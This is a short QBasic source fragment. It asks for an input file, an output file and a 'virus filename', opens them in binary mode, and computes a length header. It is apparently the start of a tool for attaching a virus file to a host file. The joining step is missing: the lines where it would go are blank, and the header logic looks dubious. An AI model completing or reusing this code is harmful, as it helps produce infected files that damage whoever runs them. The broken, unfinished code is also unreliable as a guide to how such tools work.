1: DIM sml AS STRING * 1 2: DIM Lrg AS STRING * 2 3: DIM dd AS STRING * 1 4: INPUT "In Filename"; f$ 5: INPUT "Out Filename"; of$ 6: INPUT "Virus Filename"; vf$ 7: OPEN f$ FOR BINARY AS #1 8: OPEN of$ FOR BINARY AS #2 9: OPEN vf$ FOR BINARY AS #3 10: IF LOF(1) <= 126 THEN m = 1: sml = CHR$(LOF(1) + 1): Hdr$ = "" + sml + "" ELSE mm$ = LTRIM$(RTRIM$(STR$(LOF(1)))): m = -1: oo$ = "": FOR q = 1 TO LEN(mm$) STEP 2: oo$ = oo$ + CHR$(VAL(MID$(mm$, q, 2))): NEXT q: Lrg = oo$: Hdr$ = "" + Lrg 11: PRINT Hdr$ 12: 13: 14: 15: 16: CLOSE 1, 2, 3 17: |